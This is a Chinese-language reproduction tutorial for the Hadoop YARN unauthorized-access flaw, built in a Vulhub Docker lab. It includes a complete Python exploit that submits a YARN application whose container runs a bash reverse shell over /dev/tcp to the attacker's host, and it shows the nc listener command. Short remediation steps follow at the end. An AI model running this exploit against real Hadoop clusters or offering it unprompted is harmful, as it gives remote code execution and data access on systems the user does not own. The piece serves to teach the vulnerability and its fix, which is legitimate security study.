?Hadoop未授權(quán)訪問漏洞介紹
Hadoop是一個(gè)由Apache基金會(huì)所開發(fā)的分布式系統(tǒng)基礎(chǔ)架構(gòu),由于服務(wù)器直接在開放了 Hadoop 機(jī)器 HDFS 的 50070 web 端口及部分默認(rèn)服務(wù)端口,黑客可以通過命令行操作多個(gè)目錄下的數(shù)據(jù),如進(jìn)行刪除,下載,目錄瀏覽甚至命令執(zhí)行等操作,產(chǎn)生極大的危害。
靶場(chǎng)搭建
靶機(jī): ubuntu docker IP: 192.168.189.131
攻擊機(jī): kali IP: 192.168.189.128
直接使用 vluhub 環(huán)境了
在?hadoop/unauthorized-yarn
目錄下終端輸入docker-compose up -d
啟動(dòng)環(huán)境
訪問ubuntu靶機(jī)的8088端口 http://192.168.189.131:8088 即可看到Hadoop YARN ResourceManager WebUI頁面(未授權(quán)訪問漏洞)
利用過程如下:
在本地監(jiān)聽等待反彈 shell 連接
調(diào)用 New Application API 創(chuàng)建 Application
調(diào)用 Submit Application API 提交
編寫以下exp——python腳本,放在ubuntu的桌面上:
#!/usr/bin/env python
import requests
target = 'http://192.168.189.131:8088/'
lhost = '192.168.189.128' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
kali 打開 nc 監(jiān)聽端口
nc -nvlp 9999
在 Ubuntu運(yùn)行腳本exp-python.py?獲取shell
python3 exp-python.py
漏洞修復(fù)
1、如無必要,關(guān)閉 Hadoop Web 管理頁面。
2、開啟身份驗(yàn)證,防止未經(jīng)授權(quán)用戶訪問。文章來源:http://www.zghlxwxcb.cn/news/detail-853825.html
3、設(shè)置“安全組”訪問控制策略,將 Hadoop 默認(rèn)開放的多個(gè)端口對(duì)公網(wǎng)全部禁止或限制可信任的 IP 地址才能訪問包括 50070 以及 WebUI 等相關(guān)端口。文章來源地址http://www.zghlxwxcb.cn/news/detail-853825.html
到了這里,關(guān)于Hadoop未授權(quán)訪問 getshell——漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!